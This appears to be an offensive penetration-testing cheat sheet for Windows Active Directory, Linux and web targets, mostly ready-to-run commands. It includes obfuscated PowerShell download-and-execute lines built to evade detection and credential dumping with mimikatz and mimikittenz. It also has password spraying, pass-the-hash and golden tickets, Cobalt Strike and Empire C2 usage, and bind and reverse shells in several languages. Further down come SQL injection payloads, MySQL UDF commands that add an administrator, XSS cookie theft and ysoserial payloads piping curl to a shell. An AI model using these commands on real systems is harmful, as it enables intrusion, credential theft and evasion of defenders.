Get-ItemProperty -Path Registry::"HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" |Select-Object -ExpandProperty WUServer

Get-ItemProperty -Path Registry::"HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" |Select-Object -ExpandProperty WUStatusServer

Get-ItemProperty -Path Registry::"HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" |Select-Object -ExpandProperty UseWUServer

reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate

Get unquoted service paths

gwmi win32_service |Select pathname | Where {($_.pathname -ne $null)} | Where {-not $_.pathname.StartsWith("`"")} | Where {($_.pathname.Substring(0, $_.pathname.IndexOf(".") +4)) -match ".* .*"}


Find-Files (custom)

Find-Files -searchBase "i:\" -searchTerms "*web.xml*,*web.config*,*password*,*tomcat-users.xml*" -LogPath "C:\Users\username\AppData\Local\Temp"

Get-Enumeration (custom)

Run Local and Domain enumeration functions on the local host.

Get-Enumeration -Path . -Local -Domain

Download and execute IEX

powershell -nop -w hidden -c "iex (New-Object Net.WebClient).DownloadString('')"

EncodedCommand and IEX detection bypass

Author: Dave Kennedy

Avoid detection of -enc

powershell -window hidden -C "set-variable -name "C" -value "-"; set-variable -name "s" -value "e"; set-variable -name "q" -value "c"; set-variable -name "P" -value ((get-variable C).value.toString()+(get-variable s).value.toString()+(get-variable q).value.toString()) ; powershell (get-variable P).value.toString() "

Avoid detection of IEX

powershell -window hidden -C "set-variable -name "LB" -value "I"; set-variable -name "I" -value "E"; set-variable -name "V" -value "X"; set-variable -name "wP" -value ((get-variable LB).value.toString()+(get-variable I).value.toString()+(get-variable V).value.toString()) ; powershell (get-variable wP).value.toString() ('')"


iex((new-object''));Invoke-Bloodhound -CSVFolder c:\temp -CSVPrefix

Invoke-BloodHound -DomainController -Domain -CSVFolder C:\users\public\libraries -CSVPrefix -CollectionMethod Stealth


mimikittenz is a post-exploitation powershell tool that utilizes the Windows function ReadProcessMemory() in order to extract plain-text passwords from various target processes.

mimikittenz can also easily extract other kinds of juicy info from target processes using regex patterns including but not limited to:

  • TRACK2 (CreditCard) data from merchant/POS processes
  • PII data
  • Encryption Keys & All the other goodstuff




Custom regex - The syntax for adding custom regex is as follows:

Custom target process - Just append your target proccess name into the array:


Performs multiple local host privilege escalation checks for common Windows misconfigurations.


See cheat sheet for more commands


  • Requires domain user privileges

Find Administrative users logged in across the domain – default group = Domain Admins)

Invoke-UserHunter -Threads 15 -NoPing [-GroupName “Enterprise Admins”]
Invoke-UserHunter -Threads 20 -GroupName "Domain Admins" -SearchForest -CheckAccess

Find User (Stealthy via Fileshares)

Invoke-UserHunter -Stealth -Threads 5 -NoPing [-GroupName “Enterprise Admins”] [-UserName "svcAccount"]

Get domain user info

Get-NetUser [-UserName john]

Get-NetUser -Domain | Select-Object objectsid,lockouttime,samaccounttype,accountexpires,objectclass,useraccountcontrol,@{Name='memberof';Expression={[string]::join(";",($_.memberof))}},info,distinguishedname,adspath,cn,pwdlastset,objectguid,whencreated,description,samaccountname,usnchanged,name| export-csv userprops_members.csv

Find group names

Get-NetGroup [-GroupName *admin*]

Get group members

Get-NetGroupMember [-GroupName “Domain Admins”]

Find open shares – Noisy

Invoke-ShareFinder -CheckShareAccess

Find open (non-default i.e. C$) shares by LDAP source

Invoke-ShareFinder -ComputerADSPath "LDAP://OU=Servers,OU=IT,DC=domain,DC=com" -CheckShareAccess -ExcludeStandard | Out-File -Encoding ascii c:\windows\temp\server_shares.txt

Invoke-ShareFinder -ExcludePrint -ExcludeIPC -CheckShareAccess

Find interesting files

powershell Invoke-FileFinder -ComputerName -share share_list.txt -terms ssn,pass,sensitive,secret,admin,login,unattend*.xml,web.config,account -Threads 20 | export-csv filefinder_shares.csv

Find hosts where the current user is local admin – Noisy


Get details of all domain computers and export to a CSV file for easy viewing

Get-computerproperty -Domain -properties displayname,adspath,lastlogontimestamp,operatingsystem,operatingsystemversion,@{Name='memberof';Expression={[string]::join(";",($_.memberof))}}|export-csv computerprops.csv

Get Computers with Unconstrained Delegation

Get-NetComputer -Unconstrained |ft -a

Get Users & Computers Trusted for Delegation

Get-DomainUser -TrustedtoAuth -Properties distinguisedname,useraccountcontrol,msds-allowedtodelegateto|fl

Get-DomainComputer -TrustedtoAuth -Properties distinguisedname,useraccountcontrol,msds-allowedtodelegateto|fl

net * Functions:

Get-NetDomain - gets the name of the current user's domain
Get-NetForest - gets the forest associated with the current user's domain
Get-NetForestDomain - gets all domains for the current forest
Get-NetDomainController - gets the domain controllers for the current computer's domain
Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
Add-NetUser - adds a local or domain user
Get-NetComputer - gets a list of all current servers in the domain
Get-NetPrinter - gets an array of all current computers objects in a domain
Get-NetOU - gets data for domain organization units
Get-NetSite - gets current sites in a domain
Get-NetSubnet - gets registered subnets for a domain
Get-NetGroup - gets a list of all current groups in a domain
Get-NetGroupMember - gets a list of all current users in a specified domain group
Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
Add-NetGroupUser - adds a local or domain user to a local or domain group
Get-NetFileServer - get a list of file servers used by current domain users
Get-DFSshare - gets a list of all distribute file system shares on a domain
Get-NetShare - gets share information for a specified server
Get-NetLoggedon - gets users actively logged onto a specified server
Get-NetSession - gets active sessions on a specified server
Get-NetRDPSession - gets active RDP sessions for a specified server (like qwinsta)
Get-NetProcess - gets the remote processes and owners on a remote server
Get-UserEvent - returns logon or TGT events from the event log for a specified host
Get-ADObject - takes a domain SID and returns the user, group, or computer
object associated with it
Set-ADObject - takes a SID, name, or SamAccountName to query for a specified
domain object, and then sets a specified 'PropertyName' to a
specified 'PropertyValue'

GPO functions

Get-GptTmpl - parses a GptTmpl.inf to a custom object
Get-NetGPO - gets all current GPOs for a given domain
Get-NetGPOGroup - gets all GPOs in a domain that set "Restricted Groups"
on on target machines
Find-GPOLocation - takes a user/group and makes machines they have effective
rights over through GPO enumeration and correlation
Find-GPOComputerAdmin - takes a computer and determines who has admin rights over it
through GPO enumeration
Get-DomainPolicy - returns the default domain or DC policy

User-Hunting Functions:

Invoke-UserHunter - finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines
Invoke-StealthUserHunter - finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users
Invoke-ProcessHunter - hunts for processes with a specific name or owned by a specific user on domain machines
Invoke-UserEventHunter - hunts for user logon events in domain controller event logs

Domain Trust Functions:

Get-NetDomainTrust - gets all trusts for the current user's domain
Get-NetForestTrust - gets all trusts for the forest associated with the current user's domain
Find-ForeignUser - enumerates users who are in groups outside of their principal domain
Find-ForeignGroup - enumerates all the members of a domain's groups and finds users that are outside of the queried domain
Invoke-MapDomainTrust - try to build a relational mapping of all domain trusts


Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain
Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain
Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to
Find-UserField - searches a user field for a particular term
Find-ComputerField - searches a computer field for a particular term
Get-ExploitableSystem - finds systems likely vulnerable to common exploits
Invoke-EnumerateLocalAdmin - enumerates members of the local Administrators groups across all machines in the domain

HarmJ0y PowerView Cheat Sheet PDF
HarmJ0y’s PowerView 2.0 Tricks Gist


Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool designed to assist penetration testers that find themselves limited to a Windows system.

  • The main Inveigh LLMNR/NBNS spoofer function.



Privilege Requirements:
  • Elevated Administrator or SYSTEM
  • IPv4 LLMNR/NBNS spoofer with granular control
  • NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB
  • Basic auth cleartext credential capture over HTTP/HTTPS
  • WPAD server capable of hosting a basic or custom wpad.dat file
  • HTTP/HTTPS server capable of hosting limited content
  • Granular control of console and file output
  • Run time control


Powershell W/out Powershell

  • MsBuild.exe



Gets files which have been indexed by Windows desktop search. Searches the Windows index on the local computer or a remote file serving computer looking for file properties or free text searching over contents



Interacting w/ Windows API


Example – Lock Workstation and MessageBox

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

public static class User32
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern bool MessageBox(
IntPtr hWnd, /// Parent window handle
String text, /// Text message to display
String caption, /// Window caption
int options); /// MessageBox type
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern bool LockWorkStation();




List static methods

[USER32] |get-member -static


MailSniper (OWA and Exchange Enumeration)


MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.

MailSniper also includes additional modules for password spraying, and gathering the Global Address List from OWA and EWS.

Bypassing Dual Factor Authentication on OWA –

  • It appears that Outlook portals that are being protected by two-factor authentication might not be covering all of the authentication protocols to Microsoft Exchange.
  • Leverages the Exchange Web Services (EWS) feature of OWA. Just have to check for the presence of\EWS\Exchange.asmx

Invoke-SelfSearch -Mailbox -ExchHostname -Remote

  • After the credentials have been entered MailSniper will attempt to connect to the EWS URL at and search the user’s inbox for key terms (by default “pass”, “creds”, and “credentials”).


Locate OWA instances via Autodiscover using only organization primary domain name





dig _autodiscover._tcp. SRV
; <<>> DiG 9.8.3-P1 <<>> SRV
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45003
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0


;; ANSWER SECTION: 1720 IN SRV 0 0 443

;; Query time: 2 msec
;; WHEN: Thu Dec 1 10:40:33 2016
;; MSG SIZE rcvd: 83


DomainPasswordSpray (Internal Windows Domain Password Brute Forcing)


DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS!


Quick Start Guide

Open a PowerShell terminal from the Windows command line with ‘powershell.exe -exec bypass’.

Type 'Import-Module Invoke-DomainPasswordSpray.ps1'.


The only option necessary to perform a password spray is either -Password for a single password or -PasswordList to attempt multiple sprays. When using the -PasswordList option Invoke-DomainPasswordSpray will attempt to gather the account lockout observation window from the domain and limit sprays to one per observation window to avoid locking out accounts.


The following command will automatically generate a list of users from the current user’s domain and attempt to authenticate using each username and a password of Winter2016.

PowerShell Invoke-DomainPasswordSpray -Password Winter2016


The following command will use the userlist at users.txt and try to authenticate to the domain “domain-name” using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain’s lockout observation window and restrict sprays to one attempt during each window. The results of the spray will be output to a file called sprayed-creds.txt

PowerShell Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt


Invoke-DomainPasswordSpray Options

UserList - Optional UserList parameter. This will be generated automatically if not specified.
Password - A single password that will be used to perform the password spray.
PasswordList - A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts).
OutFile - A file to output the results to.
Domain - A domain to spray against.


Misc Powershell Pasties

List Removeable Drives

Get-WmiObject Win32_LogicalDisk | Where-Object {($_.DriveType -eq 2) -and ($_.DeviceID -ne 'A:')} | %{"USB_PROCESS_DETECTED: " + $_.ProviderName + "`n"}

Random Execution Method

$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("visio.application", "system1"))
$docs = $visio.Documents.Add("")


Attack Methods for Gaining Domain Admin Rights in Active Directory

Dump Cleartext Credentials


Dump cached domain credentials


Format mscachev2 as $DCC2$10240#username#hash

cat 'mscachecreds.txt' | awk -F “:” {'print "$DCC2$10240#"$1"#"$2'}


Crack mscachev2 format with Hashcat (extremely slow)

./hashcat -m 2100 -a 0 mscachev2.dump ./wordlists/* -r rules/dive.rule


DCSYNC – Remote Hash Dumping from a Domain Controller

mimikatz lsadump::dcsync /user:domain\krbtgt


  • There is also a CS built-in function for this
  • Source:


Pass the Hash

mimikatz sekurlsa::pth /user:localadmin /domain:. /ntlm:21306681c738c3ed2d615e29be1574a3 /run:powershell -w hidden


Golden Ticket Creation (File)

mimikatz kerberos::golden /user:newadmin / /sid:S-1-5-21-3683589091-3492174527-1688384936 /groups:501,502,513,512,520,518,519 /krbtgt: /ticket:newadmin.tkt


Golden Ticket Creation (Pass-The-Ticket) – Create the ticket for your current session

mimikatz kerberos::golden /user:newadmin / /sid:S-1-5-21-3683589091-3492174527-1688384936 /krbtgt: /ptt


To create a Golden ticket to own the parent domain, once a child domain controller is compromised you will need the following pieces:

/rc4: KRBTGT Hash
/sid:Child Domain SID
/domain:FQDN of Child Domain
/id:ID of Child Domain Controller


Dump Google Chrome passwords

shell copy "C:\users\kobrien\appdata\local\google\chrome\user data\default\Login Data" C:\users\public\libraries\ld.dat


mimikatz @dpapi::chrome /in:C:\users\public\libraries\ld.dat /unprotect


Detecting Golden Ticket use on a DC

<select>*[System[EventID='4768']]</select> <select>and</select> <select>*[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]</select> <select>and</select> <select>*[EventData[Data[@Name='ServiceName'] = 'krbtgt']]</select> <select>and</select> <select>*[EventData[Data[@Name='TicketEncryptionType'] = '0x17']]</select>



Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/"


Use mimikatz to export SPN Tikets once requested (Generates one file per ticket unless base64 option is used)

mimkatz kerberos::list /export
Invoke-Mimikatz -Command 'standard::base64 "kerberos::list /export" exit'


Impacket method of extracting SPN tickets and output hashes in the correct format for John via Proxychains and Beacon (Preferred)

proxychains python ./ -request -dc-ip -outputfile


Cracking the hashes

./hashcat -m 13100 -a 0 spns.dump ./wordlists/* -r rules/dive.rule

./john --format=krb5tgs spns.dump --wordlist=


Domain Admin Privesc Methods

Attack Methods for Gaining Domain Admin Rights in Active Directory

  1. Passwords in SYSVOL & Group Policy Preferences

findstr /S cpassword %logonserver%\sysvol\*.xml
or use Get-GPPPasswords.ps1 from PowerSploit

  1. Exploit the MS14-068 Kerberos Vulnerability on a Domain Controller Missing the Patch
  2. Kerberos TGS Service Ticket Offline Cracking (Kerberoast)
  3. The Credential Theft Shuffle
  4. Gain access to AD Database file (ntds.dit)

* Backup locations (backup server storage, media, and/or network shares)
* Find the NTDS.dit file staged on member servers prior to promoting to Domain Controllers.
* With admin rights to virtualization host, a virtual DC can be cloned and the associated data copied offline.


Command and Control

Simple TCP Port Redirection

socat TCP-LISTEN:80,fork TCP::80
socat TCP-LISTEN:443,fork TCP::443


UDP Port Redirection

socat udp4-recvfrom:53,reuseaddr,fork udp4-sendto:; echo -ne

Simple HTTP Redirect

Save as a file like the following as redirect.html and map to root “/” on your Team Server. Casual browsing to the root of your domain will then simply redirect.


Domain Fronting


Cobalt Strike

Gettin’ Down with Aggressor Script

portscan 21,22,23,25,80,443,445,1433,3389,8080,8443


Start Remote Beacon DLL via iwmi

powerpick iwmi -class Win32_Process -name create -ArgumentList "rundll32.exe c:\users\public\libraries\smb_beacon.dll.log0,StartW"


OPSEC Considerations for Beacon Commands – OPSEC Considerations For Beacon Commands

A good operator knows their tools and has an idea of how the tool is accomplishing its objectives on their behalf. This blog post surveys Beacons commands and provides background on which commands inject into remote processes, which commands spawn jobs, and which commands rely on cmd.exe or powershell.exe.

These commands are built-into Beacon and rely on Win32 APIs to meet their objectives.



House-keeping Commands
The following commands are built into Beacon and exist to configure Beacon or perform house-keeping actions. Some of these commands (e.g., clear, downloads, help, mode, note) do not generate a task for Beacon to execute.

mode dns
mode dns-txt
mode dns6
mode http
socks stop


Post-Exploitation Jobs (Process Execution + Remote Process Injection)
Many Beacon post-exploitation features spawn a process and inject a capability into that process. Beacon does this for a number of reasons: (i) this protects the agent if the capability crashes, (ii) this scheme makes it seamless for an x86 Beacon to launch x64 post-exploitation tasks. The following commands run as post-exploitation jobs:



OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe (you probably don’t want that). The ppid command will change the parent process these jobs are run under as well.

Process Execution
These commands spawn a new process:



OPSEC Advice: The ppid command will change the parent process of commands run by execute. The ppid command does not affect runas or spawnu.

Process Execution: Cmd.exe
The shell command depends on cmd.exe.

The pth and getsystem commands get honorable mention here. These commands rely on cmd.exe to pass a token to Beacon via a named pipe.

OPSEC Advice: the shell command uses the COMSPEC environment variable to find the preferred command-line interpreter on Windows. Use Aggressor Script’s &bsetenv function to point COMSPEC to a different cmd.exe location, if needed. Use the ppid command to change the parent process the command-line interpreter is run under. To pth without cmd.exe, execute the pth steps by hand.

Process Execution: PowerShell.exe
The following commands launch powershell.exe to perform some task on your behalf.



OPSEC Advice: Use the ppid command to change the parent process powershell.exe is run under. Be aware, there are alternatives to each of these commands that do not use powershell.exe:

spawnu has runu which runs an arbitrary command under another process.
spawnas has runas which runs an arbitrary command as another user.
powershell has powerpick, this command runs powershell scripts without powershell.exe.


It’s also possible to laterally spread without the winrm and wmi commands.
Remote Process Injection

The post-exploitation job commands (previously mentioned) rely on process injection too. The other commands that inject into a remote process are:



Service Creation

The following internal Beacon commands create a service (either on the current host or a remote target) to run a command. These commands use Win32 APIs to create and manipulate services.



Powershell Function Wrapper


Persistence Scripts



Cheat sheets



Clone GIT Repo

root@workstation:~# git clone empire
Cloning into 'empire'...

Install Empire

root@workstation:~# cd empire/
root@workstation:~/empire# cd setup/
root@workstation:~/empire/setup# ./
Reading package lists... Done
Building dependency tree
Reading state information... Done

Successfully installed pydispatcher
Cleaning up...

[>] Enter server negotiation password, enter for random generation:

[*] Database setup completed!


Start Empire

root@workstation:~/empire/setup# cd ..
root@workstation:~/empire# ./empire

Start with REST API for use with Empire Web

./empire --headless --username admin --password --restport 1337

./empire --rest --username admin --password --restport 1337


C2 Profiles

Edit default client settings in /setup/

Example Default Profile

"/CWoNaJLBo/VTNeWw11212/|Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)|Accept:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*|Accept-Language:en-en"




BASH loop example

for u in `cat hosts.txt`; do
echo -n "[*] user: $u" && \
proxychains python /usr/local/bin/ domain/username@$u -hashes aad3b435b51404eeaad3b435b51404ee:0e493911f561a425e7a905329f4454bf |tee user_brute.log

BASH .bashrc Function Example

function start_sshtunnel() {
ssh -A -t -p22 -L 8800:localhost:8800 james@123.001.123 -t ssh -L 8800:localhost:80 james@124.125.123

Quick BASH format .bash_profile (mod ipconfig > ifconfig for Linux)

# .bash_profile PATH=$PATH:/home/james/ export PATH alias ls='ls -G' alias grep='grep --color=auto' alias la='ls -AlahG' alias el='sudo $(history -p \!\!)' alias ll='ls -alF' alias l='ls -CF' alias lg='ls -AlahG |grep $1' alias netstati='lsof -P -i -n' export PS1="\n\n\[\$(if [[ \$? == 0 ]]; then echo \"\[$GREEN\]✓\"; else echo \"\[$RED\]✕\"; fi)[\033[33m\]\D{%Y%m%d_%H%M%S}\[\033[m\] \[\033[36m\]\u@\h__`ipconfig getifaddr en0`__`ipconfig getifaddr en8`\[\033[m\]] \[\033[1;31m\]\n[\w]\[\033[m\] \n \$

Create NTLM Hash from Mac CLI

echo -n password | iconv -t UTF-16LE | openssl md4

Linux Persistence Ideas

Add SSH keys
Add SUID to world-writeable script (chmod u+s )
Add init script (reboot persistence)


rpcclient -U "" -N
rpcclient -U
rpcclient $> srvinfo
rpcclient $> enum
rpcclient $> enumdomusers
rpcclient $> queryuser 500

Password bruteforce via rpcclient

for u in `cat users_sorted.txt`; do
echo -n "[*] user: $u" && \
proxychains rpcclient -U "domain\$u%$u" -c "getusername;quit"

Pass the Hash Variant

pth-rpcclient -U "domain\name%hash" --pw-nt-hash


Domain Controller Anonymous Enumeration

enum4linux -A | tee -anon-enum.txt


Append rules to top of the Input filter and make persistent

/sbin/iptables -I INPUT -p tcp --dport 50050 -s -j ACCEPT
/sbin/iptables -I INPUT -p tcp --dport 22 -s -j ACCEPT
service netfilter-persistent save
iptables -L -v

Delete rule

iptables -D INPUT -i eth0 -p tcp --dport 443 -j ACCEPT


Obtain LAPS passwords for domain computers using the linux based ldapsearch tool

Dump Laps Passwords with LDAPSearch by Rob Fuller

ldapsearch -x -h -D "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

-x - Use basic authentication
-h - Connect to the Domain Controller for ldap
-D "helpdesk" -w ASDqwe123 - Login as the helpdesk user, with the password ASDqwe123
-b "dc=sittingduck,dc=info" - This loads the base LDAP object of the entire domain.
"(ms-MCS-AdmPwd=*)" - Filter out any objects that I can’t see a value for ms-MCS-AdmPwd for. (If you have rights as that user to see even one Administrator password, this will show it.)
ms-MCS-AdmPwd - Only show me the ms-MCS-AdmPwd object (which by default includes the object name and DN so you will still know what host it belongs to)


List NFS Mounts on remote host

showmount -e

Check NFS share counts in a loop

#cat nfs.results.msf |grep -|cut -d'-' -f2|cut -d' ' -f2,5|sed 's/ /:/g' for server in $(cat nfs.shares); do echo "[*] Checking $server" mount -o nolock,nfsvers=3 $server /mnt/n4s_backup ls /mnt/n4s_backup umount /mnt/n4s_backup done


TTY Shells

Upgrade your shell to a full TTY

python -c 'import pty; pty.spawn("/bin/sh")'

echo os.system('/bin/bash')

/bin/sh -i

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

ruby: exec "/bin/sh"

lua: os.execute('/bin/sh')

(From within IRB)

exec "/bin/sh"

(From within vi)


(From within vi)

:set shell=/bin/bash:shell

(From within nmap)


Bind Shells

Perl Bind Shell (Port 1000)

perl -e 'use Socket;$p=10000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S, SOMAXCONN);for(; $p= accept(C, S); close C) {open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/usr/bin/bash -i");};'

Reverse Shells

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/ 0>&1


Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])


One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you ( on TCP port 6001.

xterm -display

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1

your’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

SSH Tunnels

Send data over ssh to port 9000 on target

ssh -L 8090:localhost:9000 james@123.123.123

Send data over ssh to port 80 on target through jumphost

ssh -A -t -p22 -L 8800:localhost:8800 james@ -t ssh -L 8800:localhost:80 james@124.123.122

Start ssh using existing connections

nano ~/.ssh/config
ControlMaster auto
ControlPath ~/.ssh/control:%h:%p:%r



Install impacket on Windows

git clone

Download VC++ For Python 2.7 (Needed to compile some modules)


Install necessary modules (You may need to install pip first)

python -m pip install pycrypto pyasn1 pyOpenSSL pyReadline ldapdomaindump

You can also download the PyCrypto binary if it fails to compile




Attempt to dump credentials from a remote machine via Pass the Hash

python ./ -hashes aad3b435b51404eeaad3b435b51404ee:21306681c738c3ed2d615e29be1574a3


Dump domain password hashes remotely via Volume Shadow Copy

c:\users\username\appdata\local\temp\sd.exe domain/username:password@dchostname -just-dc -use-vss -outputfile

This is the easiest way to gather SPN tickets in the correct format for cracking with John or Hashcat

root@wpad:~/impacket/examples# ./ -request -dc-ip
Impacket v0.9.15-dev - Copyright 2002-2016 Core Security Technologies

ServicePrincipalName Name MemberOf PasswordLastSet
---------------------------------- ---------- ---------------------------------------------------- -------------------
http/ uberuser CN=Enterprise Admins,CN=Users,DC=sittingduck,DC=info 2015-11-10 23:47:21
MSSQLSvc/ sqladmin01 2016-05-13 19:13:20


Brute Force Techniques

RDP Brute

ncrack -u administrator -P 500-worst-passwords.txt -p 3389

SSH Brute

medusa -M ssh -C /usr/share/wordlists/ssh.lst -H 22.txt -T 10| grep SUCCESS |tee medusa-results.txt

Telnet Brute

medusa -M telnet -C /usr/share/wordlists/telnet.lst -H 23.txt -T 10 -t 3| grep SUCCESS |tee medusa-results.txt

Web Exploitation


SQLi Examples

secret' or 1=1 limit1;#

#Find number of columns return by the Select statement
?id=738 order by 1,2,3,4...n until error is received

#Use union select statement to append query to the original

#union Select statement must have same number of columns as original Select statement
?id=738 union select 1,2,3,4,5,6

#Get DB Version
?id=738 union select 1,2,3,4,@@version,6

#Get DBUser
?id=738 union select 1,2,3,4,user(),6

#Get tables from all databases
?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables

#Get Table Columns
?id=738 union select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'

#Get User passwords
?id=738 union select 1,2,3,4,concat(name,0x3a,password),6 FROM users

SQL Joins

#FULL All SELECT something FROM tableA A FULL OUTER JOIN tableB B ON A.KEY = B.KEY #A partial B SELECT something FROM tableA A LEFT JOIN tableB B on A.Key = B.Key #B Partial A SELECT something FROM tableA A RIGHT JOIN tableB B on A.Key = B.Key #A no B SELECT something FROM tableA A LEFT JOIN tableB B on A.Key = B.Key WHERE B.Key IS NULL # Outer SELECT something FROM tableA A FULL OUTER JOIN tableB B on A.Key = B.Key WHERE A.Key IS NULL OR B.Key IS NULL # Inner SELECT something FROM tableA A FULL INNER JOIN tableB B on A.Key = B.Key


[mysqldir]/bin/mysql-h hostname-u root --password=pass

select @@version
select @@servername

mysql> show databases;
mysql> use [db name];
mysql> show tables;
mysql> describe [table name];
mysql> SELECT * FROM [table name];

UDF Install for Command Execution

User Defined Functions by Platform



Load MYSQLUDF for Linux

use test;
create table udf(line blob);
insert into udfvalues(load_file('/tmp/udf/'));
select * from udfinto dumpfile'/usr/lib/';
create function sys_exec returns integer soname'';
select sys_exec('id > /tmp/out; chownapache.apache /tmp/out');
select sys_exec('ls -alh/root/Desktop/ >> /tmp/out');
select sys_exec('ls /etc/sudoers>> /tmp/out');

Upload suid.c program

wget http://ip:port/privex/mysql/suid-o /tmp/suid
chownroot:root /tmp/suid
chmod4777 /tmp/suid

Load MYSQLUDFfor Windows

USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_files('C://xampplite//webdav//lib_mysqludf_sys.dll'));
SELECT * FROM mysql.npnINTO DUMPFILE'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user hacker hacker1234!@#$ /add");
SELECT sys_exec("net localgroupAdministrators hacker /add");
s_exec('net localgroup"Remote Desktop Users" hacker /add');


Automated website crawl and test of SQLi

python -u --forms --batch --crawl=10 --cookie=jsessionid=12345 --level=5 --risk=3


Grab cookie

document.write('<img src="' + document.cookie + '" />')

XSS via image tag

<img src="x" />

Server-side Javascript Injection via Node or ElementJS

File system directory listing


File read


Cold Fusion

JMPESPJUMP – Attacking Adobe Cold Fusion

Decrypt CFM Files back to source


CF RDS Logon Bypass (Create this html file locally and submit to obtain a auth session)

For ColdFusion 6 and 7 the passwords for DataSources encrypted in the following XML files:

  • [ColdFusion_Install_Dir]\lib\neo-query.xml

For ColdFusion 8, 9 and 10:

  • [ColdFusion_Install_Dir]\lib\neo-datasource.xml



Default credential is “admin:admin”

0. Host your .jar/.war payload with webshell on local webserver

1. Navigate to the JMX Console on the target host (http://IP.Ad.dr.ess:port/jmx-console/) and search for “service=MainDeployer”.

2. From here you’ll want to utilize the deploy() function since it allows you to enter a URL as a parameter value in In this field, enter your attack IP and the name of the WAR file in the URL box and then click the “Invoke” button.

Other ways to gain execution

* jboss.deployment
* jboss.system (MainDeployer)
* http://localhost:8080/invoker/JMXInvokerServlet
* Java Deserialization Vuln via JMXInvokerServlet

Auto-check and exploitation tool (

git clone
cd jexboss
pip install -r requires.txt
python -h
python -host http://target_host:8080

Java Deserialization

Java Deserialization Cheat Sheet

How to get a full shell through Java Runtime.exec

Ysoserial payload to execute full commands

sh -c $@|sh . ```

Generate a ysoserial payload to tell server to download further commands via curl and pipe to shell

java -jar ysoserial-0.0.4-all.jar CommonsCollections1 ‘sh -c $@|sh . curl |sh’ > jenkins_curl_shell.bin

Generate a ysoserial payload to execute nc bind shell

java -jar ysoserial-0.0.4-all.jar CommonsCollections1 ‘sh -c $@|sh . nc -lp 8088 -e /bin/bash’ > nc-jenkins.out

### JMXInvokerServlet

./ysoserial-master-v0.0.4-gad26e2b-61.jar CommonsCollections5 “touch /tmp/pwned” >payload.txt

